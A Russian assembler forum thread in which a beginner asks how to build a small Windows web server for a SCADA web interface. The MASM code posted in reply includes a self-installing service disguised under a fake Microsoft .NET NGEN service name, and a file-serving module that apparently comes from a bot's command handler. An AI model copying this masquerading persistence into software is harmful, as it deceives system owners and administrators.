Нужен пример

Тема в разделе "WASM.BEGINNERS", создана пользователем lamer19, 26 окт 2010.

  1. lamer19

    lamer19 New Member

    Публикаций:
    0
    Регистрация:
    31 июл 2006
    Сообщения:
    24
    Нужен пример простой службы которая возращает HTML файл с картинкой какой нибудь на запрос браузера
    То есть хочется иметь некую службу которая будет работать сервером в Windows XP и будет возращать клиенту странички и обрабатывать его запросы. В исходниках один простой пример cserver взял запустил и не понял как он работает (страничку не получил), а другой пример веб сервера с плугинами miniweb_src не проверял, но боюсь что не осилю исходники ибо в голове нет ни на йоту представления о сетевой архитектуре. Правда книжки дома всякие умные есть типа cgi програмирование за 24 часа и описание TCP/IP Том 1, но пока с ними до понимания дойдёшь...
    Мне бы исходник какой с коментариями типа где мы на порт какой вешаемся где мы скажем какую нибудь форму возращаем клиенту по адресу http:// ....., где мы обрабатываем запрос
    Ну а может заодно и пример работы с сокетами и информацию о них подскажите где на русском погуглить
    Я бы сам погуглил, но я не зная сетевых технологий плохо представляю что искать
    Вообще в идеале мне хочеться
    1)написать свой небольшенький серверок под Windows XP
    2)прикрутить к своему серверу какое нибудь подобие AJAX технологии что бы страничка не перерисовывалась целиком, а Javascript передовал бы данные моей exe/dll/службе/серверу который бы оперативно кидал бы на клиента данные которые бы отрисовывал бы javasript на клиенте
     
  2. Kaimi

    Kaimi Андрей

    Публикаций:
    0
    Регистрация:
    15 апр 2010
    Сообщения:
    120
    По-моему тут некое противоречие. Поискал бы в гугле пример небольшого серверка на нужном языке.
    Например:
    http://www.jbox.dk/sanos/webserver.htm
    http://doc.trolltech.com/solutions/qtservice/qtservice-example-server.html
    http://www.codeproject.com/KB/IP/CSHTTPServer.aspx
    http://habrahabr.ru/blogs/webdev/95972/
     
  3. asmlamo

    asmlamo Well-Known Member

    Публикаций:
    0
    Регистрация:
    18 май 2004
    Сообщения:
    1.734
    на 80 ваш капитан очевидность :)

    http://www.wasm.ru/srclist.php?list=5
    http://www.wasm.ru/article.php?article=1016003


    А зачем писать если есть готовые решения.

    IIS чем не устраивает ? Как служба работает.

    Small HTTP server неплох.

    А самому писать смысла мало не все там так просто кучу времени угробиш.

    AJAX работает в основном на клиенте.
     
  4. slesh

    slesh New Member

    Публикаций:
    0
    Регистрация:
    6 фев 2009
    Сообщения:
    214
    Вот когда-то делал наброски на СИ. Простой веб сервер для отдачи файлов, конечно не будет держать много нагрузки потмоу что на потоках основан + не заюзан TransmitFile
    https://forum.antichat.ru/thread158751.html
     
  5. lamer19

    lamer19 New Member

    Публикаций:
    0
    Регистрация:
    31 июл 2006
    Сообщения:
    24
    Требуется прикрутить веб интерфейс к SCADA системе
    Мне строго говоря весь AJAX не нужен, а нужно только что бы странички перерисовывались без перезагрузки страничики с сервера. Поскольку я не знаю механизма отработки этого на стороне сервера, то и возникает такая формулировка.
     
  6. lamer19

    lamer19 New Member

    Публикаций:
    0
    Регистрация:
    31 июл 2006
    Сообщения:
    24
    Спасибо тебе и всем откликнувшимся. Буду смотреть. На него большой нагрузки не предпологаеться, так как сервер должен быть в интранете по сути для одного подключающегося клиента максимум двух.
     
  7. wsd

    wsd New Member

    Публикаций:
    0
    Регистрация:
    8 авг 2007
    Сообщения:
    2.824
    lamer19
    а как ты собрался без аякса частично перерисовывать? если только контент грузить сразу в скрытом виде и жсом открывать и скрывать.
    ты для начала разберись с самим аяксом и на нормальном сервере )
     
  8. wsd

    wsd New Member

    Публикаций:
    0
    Регистрация:
    8 авг 2007
    Сообщения:
    2.824
    lamer19
    сервер просто выдаёт данные типа как по простому GET или POST запросу, ожидаемые твоим аякс запросом. это может быть plan/text xml html json
     
  9. lamer19

    lamer19 New Member

    Публикаций:
    0
    Регистрация:
    31 июл 2006
    Сообщения:
    24
    Даже зарегистрировался, а скачать не даёт кинь если можно на lamer19@ya.ru
     
  10. lamer19

    lamer19 New Member

    Публикаций:
    0
    Регистрация:
    31 июл 2006
    Сообщения:
    24
    slesh
    Не могу скачать пример веб сервера, если не затруднительно киньте на lamer19@ya.ru
     
  11. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    Вот пример немного недопианого но работающего сервиса Windows

    Код (Text):
    1. .686
    2. .model flat,stdcall
    3. option casemap:none
    4.  
    5. includelib library\kernel32.lib
    6. includelib library\user32.lib
    7. includelib library\shell32.lib
    8. includelib library\Advapi32.lib
    9.  
    10.  
    11.     BOOL TYPEDEF DWORD
    12.     FALSE equ 0
    13.  
    14. SERVICE_NO_CHANGE                    equ 0FFFFFFFFh
    15. SERVICE_ACTIVE                       equ 1h
    16. SERVICE_INACTIVE                     equ 2h
    17. SERVICE_STATE_ALL                    equ SERVICE_ACTIVE OR SERVICE_INACTIVE
    18. SERVICE_CONTROL_STOP                 equ 1h
    19. SERVICE_CONTROL_PAUSE                equ 2h
    20. SERVICE_CONTROL_CONTINUE             equ 3h
    21. SERVICE_CONTROL_INTERROGATE          equ 4h
    22. SERVICE_CONTROL_SHUTDOWN             equ 5h
    23. SERVICE_STOPPED                      equ 1h
    24. SERVICE_START_PENDING                equ 2h
    25. SERVICE_STOP_PENDING                 equ 3h
    26. SERVICE_RUNNING                      equ 4h
    27. SERVICE_CONTINUE_PENDING             equ 5h
    28. SERVICE_PAUSE_PENDING                equ 6h
    29. SERVICE_PAUSED                       equ 7h
    30. SERVICE_ACCEPT_STOP                  equ 1h
    31. SERVICE_ACCEPT_PAUSE_CONTINUE        equ 2h
    32. SERVICE_ACCEPT_SHUTDOWN              equ 4h
    33.  
    34.  
    35. .data
    36.    
    37.     szServiceName db "clr_optimization_v2.0.5066_32",0
    38.     szDisplayName db "Microsoft .NET Framework NGEN v2.0.5066_X86",0
    39.     lpDescription db "Microsoft .NET Framework NGEN",0
    40.  
    41.     fPaused BOOL FALSE
    42.     fRunning BOOL FALSE
    43.  
    44. .data?
    45.     schSCManager dd ?
    46.     szFileName db 260 dup (?)  
    47.     hStatus dd ?
    48.  
    49.     SERVICE_TABLE_ENTRYA STRUCT
    50.       lpServiceName  DWORD      ?
    51.       lpServiceProc  DWORD      ?
    52.     SERVICE_TABLE_ENTRYA ENDS
    53.  
    54.     SERVICE_STATUS STRUCT
    55.       dwServiceType             DWORD      ?
    56.       dwCurrentState            DWORD      ?
    57.       dwControlsAccepted        DWORD      ?
    58.       dwWin32ExitCode           DWORD      ?
    59.       dwServiceSpecificExitCode DWORD      ?
    60.       dwCheckPoint              DWORD      ?
    61.       dwWaitHint                DWORD      ?
    62.     SERVICE_STATUS ENDS
    63.  
    64.     SERVICE_DESCRIPTION STRUCT
    65.       lpDescription  DWORD      ?
    66.     SERVICE_DESCRIPTION ENDS
    67.  
    68.     sTable SERVICE_TABLE_ENTRYA <>
    69.     srvDesc SERVICE_DESCRIPTION <>
    70.     stSS SERVICE_STATUS <>
    71.  
    72. .const
    73.  
    74.     SendSvcState macro state
    75.  
    76.       mov stSS.dwCurrentState,state
    77.  
    78.       SetServiceStatus PROTO :DWORD,:DWORD
    79.       push offset stSS
    80.       push hStatus 
    81.       call SetServiceStatus
    82.  
    83.     endm
    84.  
    85. .code
    86. start:
    87.  
    88.     call IsInstalledService
    89.  
    90.     cmp eax,0
    91.     jne @F
    92.  
    93.     call InstallService
    94. @@:
    95.     mov sTable.lpServiceProc,offset ServiceMain
    96.     mov sTable.lpServiceName,offset szServiceName
    97.  
    98.     StartServiceCtrlDispatcherA PROTO :DWORD
    99.     push offset sTable
    100.     call StartServiceCtrlDispatcherA
    101.  
    102.     call Main
    103.    
    104.     ExitProcess PROTO :DWORD
    105.     push eax
    106.     call ExitProcess
    107.  
    108.  
    109. IsInstalledService proc
    110.  
    111.     OpenSCManagerA PROTO :DWORD,:DWORD,:DWORD
    112.     push 0F003Fh
    113.     push 0
    114.     push 0
    115.     call OpenSCManagerA
    116.  
    117.     mov schSCManager,eax
    118.    
    119.     cmp eax,0
    120.     jz @ret
    121.  
    122.     OpenServiceA PROTO :DWORD,:DWORD,:DWORD
    123.     push 10000h
    124.     push offset szServiceName
    125.     push schSCManager
    126.     call OpenServiceA
    127.  
    128.     cmp eax,0
    129.     jz @F
    130.  
    131.     CloseServiceHandle PROTO :DWORD
    132.     push eax
    133.     call CloseServiceHandle
    134.  
    135.     push 00000001h
    136.     jmp @pop
    137. @@:
    138.     push 00000000h
    139.  
    140.     push schSCManager
    141.     call CloseServiceHandle
    142. @pop:
    143.     pop eax
    144. @ret:
    145.     ret
    146.    
    147. IsInstalledService endp
    148.  
    149. InstallService proc
    150.  
    151.     push 0F003Fh
    152.     push 0
    153.     push 0
    154.     call OpenSCManagerA
    155.  
    156.     mov schSCManager,eax
    157.    
    158.     cmp eax,0
    159.     jz @ret
    160.  
    161.     GetModuleFileNameA PROTO :DWORD,:DWORD,:DWORD
    162.     push 260
    163.     push offset szFileName
    164.     push 0
    165.     call GetModuleFileNameA
    166.  
    167.     CreateServiceA PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
    168.     push 0
    169.     push 0
    170.     push 0
    171.     push 0
    172.     push 0
    173.     push offset szFileName
    174.     push 00000001h
    175.     push 00000002h
    176.     push 00000110h
    177.     push 0F01FFh
    178.     push offset szDisplayName
    179.     push offset szServiceName
    180.     push schSCManager
    181.     call CreateServiceA
    182.    
    183.     push eax
    184.  
    185.     cmp eax,0
    186.     je @exit
    187.    
    188.     mov srvDesc.lpDescription,offset lpDescription
    189.  
    190.     ChangeServiceConfig2A PROTO :DWORD,:DWORD,:DWORD
    191.     push offset srvDesc
    192.     push 1
    193.     push eax
    194.     call ChangeServiceConfig2A
    195.  
    196.     pop eax
    197.     push eax
    198.  
    199.     StartServiceA PROTO :DWORD,:DWORD,:DWORD
    200.     push 0
    201.     push 0
    202.     push eax
    203.     call StartServiceA
    204.  
    205.     call CloseServiceHandle
    206.     jmp @ret
    207.  
    208. @exit:
    209.     push schSCManager
    210.     call CloseServiceHandle
    211. @ret:
    212.     ret
    213.  
    214. InstallService endp
    215.  
    216. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    217.  
    218. InitService Proc
    219.  
    220.   ret
    221. InitService EndP
    222.  
    223. ResumeService Proc
    224.  
    225.   ret
    226. ResumeService EndP
    227.  
    228. PauseService Proc
    229.  
    230.   ret
    231. PauseService EndP
    232.  
    233. StopServiceStatus Proc
    234.  
    235.   ret
    236. StopServiceStatus EndP
    237.  
    238. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    239.  
    240. CtrlHandler proc controlCode1:DWORD
    241.   LOCAL currentState:DWORD
    242.   LOCAL success:BOOL
    243.  
    244.   mov currentState, 0
    245.   mov eax, controlCode1
    246.  
    247.   .if ( eax == SERVICE_CONTROL_STOP )
    248.     SendSvcState SERVICE_STOP_PENDING
    249.     call StopServiceStatus
    250.     SendSvcState SERVICE_STOPPED
    251.   .elseif ( eax == SERVICE_CONTROL_PAUSE )
    252.     .if ( fRunning != FALSE && fPaused == FALSE )
    253.         SendSvcState SERVICE_PAUSE_PENDING
    254.  
    255.         call PauseService
    256.      
    257.         SendSvcState SERVICE_PAUSED
    258.     .endif
    259.  
    260.   .elseif ( eax == SERVICE_CONTROL_CONTINUE )
    261.     .if ( fRunning != FALSE && fPaused == 1 )
    262.         SendSvcState SERVICE_CONTINUE_PENDING
    263.  
    264.         call ResumeService
    265.  
    266.         SendSvcState SERVICE_RUNNING
    267.     .endif
    268.  
    269.   .elseif ( eax == SERVICE_CONTROL_INTERROGATE )
    270.   .elseif ( eax == SERVICE_CONTROL_SHUTDOWN )
    271.   .endif
    272.  
    273.   ret
    274. CtrlHandler endp
    275.  
    276. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    277.  
    278. ServiceMain proc argc:DWORD, argv:DWORD
    279.  
    280.     RegisterServiceCtrlHandlerA PROTO :DWORD,:DWORD
    281.     push offset CtrlHandler
    282.     push offset szServiceName
    283.     call RegisterServiceCtrlHandlerA
    284.  
    285.     mov hStatus,eax
    286.  
    287.     mov stSS.dwServiceType,00000110h
    288.     mov stSS.dwControlsAccepted,1h
    289.     mov stSS.dwWin32ExitCode,0
    290.     mov stSS.dwWaitHint,3000
    291.  
    292.     SendSvcState 2h
    293.  
    294.     call InitService
    295.  
    296.     SendSvcState 4h
    297.  
    298.     ret
    299.  
    300. ServiceMain endp
    301.  
    302. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    303.  
    304. Main proc
    305.  
    306.     ret
    307.  
    308. Main endp
    309.  
    310. end start
     
  12. fragment

    fragment New Member

    Публикаций:
    0
    Регистрация:
    11 июн 2008
    Сообщения:
    266
    А вот web сервер, его исходники можно легко найти на просторах интернета.
    Код (Text):
    1. HttpdProc proto :dword,:dword,:dword,:dword,:dword
    2. ServeFile proto :dword
    3. Httpd proto :dword
    4.  
    5.  
    6. HTTP_SERVE_FILE struct
    7.   dwsocket                dd ?
    8.   bsync                   db ?
    9.   szfile                  db 261 dup (?)
    10. HTTP_SERVE_FILE ends
    11.  
    12. HTTP_SERVER struct
    13.   dwsocket                dd ?
    14.   dwport                  dd ?
    15.   bsync                   db ?
    16.   szfile                  db 261 dup (?)
    17. HTTP_SERVER ends
    18.  
    19. Httpd proto :dword
    20. ServeFile proto :dword
    21.  
    22. .data
    23. szHeaders                  db   "HTTP/1.1 200 OK",13,10,"Accept-Ranges: bytes",13,10,"Content-Length: %d",13,10,"Keep-Alive: timeout=15, max=100",13,10,"Connection: Keep-Alive",13,10,"Content-Type: application/octet-stream",13,10,13,10,0
    24. .data?
    25. szHttpdFile               db 261 dup (?)
    26. szHttpdPort               db 8 dup (?)
    27.  
    28. .code
    29. HttpdProc proc uses edx ecx esi edi dwSocket:dword,szUBser:dword,szReply:dword,szCmd:dword,szArguments:dword
    30. local http:HTTP_SERVER
    31. invoke lstrcmpi, szCmd, addr szHTTPD
    32. .if eax == 0
    33.   invoke GetToken, addr szDataBuffer, szArguments, 32, 2, FALSE
    34.   invoke lstrcpy, addr szHttpdFile, addr szDataBuffer
    35.   invoke GetToken, addr szDataBuffer, szArguments, 32, 3, FALSE
    36.   invoke lstrcpy, addr szHttpdPort, addr szDataBuffer
    37.   invoke atodw, addr szHttpdPort
    38.   mov http.dwport, eax
    39.   mov http.bsync, 0
    40.   invoke CopyMemory, addr http.szfile, addr szHttpdFile, 261
    41.   invoke CreateThread, 0, 0, addr Httpd, addr http, 0, 0
    42.   push eax
    43.   .while http.bsync != 1
    44.     invoke Sleep, 10
    45.   .endw
    46.   invoke wsprintf, addr szSendBuffer, addr szHttpdThread, addr szHttpdFile, addr szHttpdPort
    47.   pop eax
    48.   invoke AddThread, eax, addr szSendBuffer, http.dwsocket, 0
    49.   invoke wsprintf, addr szSendBuffer, addr szHttpd, addr szHttpdFile, addr szHttpdPort
    50.   invoke SendMsg, dwSocket, szReply, addr szSendBuffer
    51.   mov eax, TRUE
    52.   jmp @F
    53. .endif
    54. mov eax, FALSE
    55. @@:
    56. ret
    57. HttpdProc endp
    58.  
    59. ServeFile proc lpParam:dword
    60.  
    61. local pBuffer[4096]:byte
    62. local dwBytesRead:dword
    63. local serve:HTTP_SERVE_FILE
    64. invoke CopyMemory, addr serve, lpParam, sizeof serve
    65. mov eax, lpParam
    66. assume eax:ptr HTTP_SERVE_FILE
    67. mov [eax].bsync, 1
    68. assume eax:nothing
    69.  
    70. invoke CreateFile, addr serve.szfile, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
    71. mov hFileX, eax
    72. invoke GetFileSize, hFileX, 0
    73. invoke wsprintf, addr pBuffer, addr szHeaders, eax
    74. invoke lstrlen, addr pBuffer
    75. invoke send, serve.dwsocket, addr pBuffer, eax, 0
    76. .repeat
    77.   invoke RtlZeroMemory, addr pBuffer, sizeof pBuffer
    78.   invoke ReadFile, hFileX, addr pBuffer, sizeof pBuffer, addr dwBytesRead, 0
    79. @@:
    80.   invoke send, serve.dwsocket, addr pBuffer, dwBytesRead, 0
    81.   .if eax == SOCKET_ERROR
    82.     invoke GetLastError
    83.     .if eax == WSAEWOULDBLOCK
    84.       invoke Sleep, 1
    85.       jmp @B
    86.     .endif
    87.   .endif
    88.   invoke Sleep, 1
    89. .until dwBytesRead == 0
    90. invoke CloseHandle, hFileX
    91. invoke closesocket, serve.dwsocket
    92. invoke ExitThread, 0
    93. ret
    94. ServeFile endp
    95.  
    96. Httpd proc lpParam:dword
    97. local http:HTTP_SERVER
    98. local serve:HTTP_SERVE_FILE
    99. local SockAddrIn:sockaddr_in
    100. local ClientSockAddrIn:sockaddr_in
    101. local ServerSocket:dword
    102. local dwMode:dword
    103. invoke CopyMemory, addr http, lpParam, sizeof http
    104. invoke CopyMemory, addr serve.szfile, addr http.szfile, 261
    105. invoke socket, PF_INET, SOCK_STREAM, 0
    106. mov ServerSocket, eax
    107. mov eax, lpParam
    108. assume eax:ptr HTTP_SERVER
    109. mov ecx, ServerSocket
    110. mov [eax].dwsocket, ecx
    111. mov [eax].bsync, 1
    112. assume eax:nothing
    113. mov SockAddrIn.sin_family, AF_INET
    114. mov eax, http.dwport
    115. invoke htons, eax
    116. mov SockAddrIn.sin_port, ax
    117. xor eax, eax
    118. mov SockAddrIn.sin_addr, eax
    119. invoke bind, ServerSocket, addr SockAddrIn, sizeof SockAddrIn
    120. mov dwMode, 1
    121. invoke ioctlsocket, ServerSocket, FIONBIO, addr dwMode
    122. invoke listen, ServerSocket, SOMAXCONN
    123. @@:
    124. invoke accept, ServerSocket, addr ClientSockAddrIn, 0
    125. .if eax == INVALID_SOCKET
    126.   invoke Sleep, 100
    127.   jmp @B
    128. .endif
    129. mov serve.dwsocket, eax
    130. invoke CreateThread, 0, 0, addr ServeFile, addr serve, 0, 0
    131. push eax
    132. .while serve.bsync != 1
    133.   invoke Sleep, 10
    134. .endw
    135. pop eax
    136. invoke CloseHandle, eax
    137. invoke Sleep, 1000
    138. jmp @B
    139. ret
    140. Httpd endp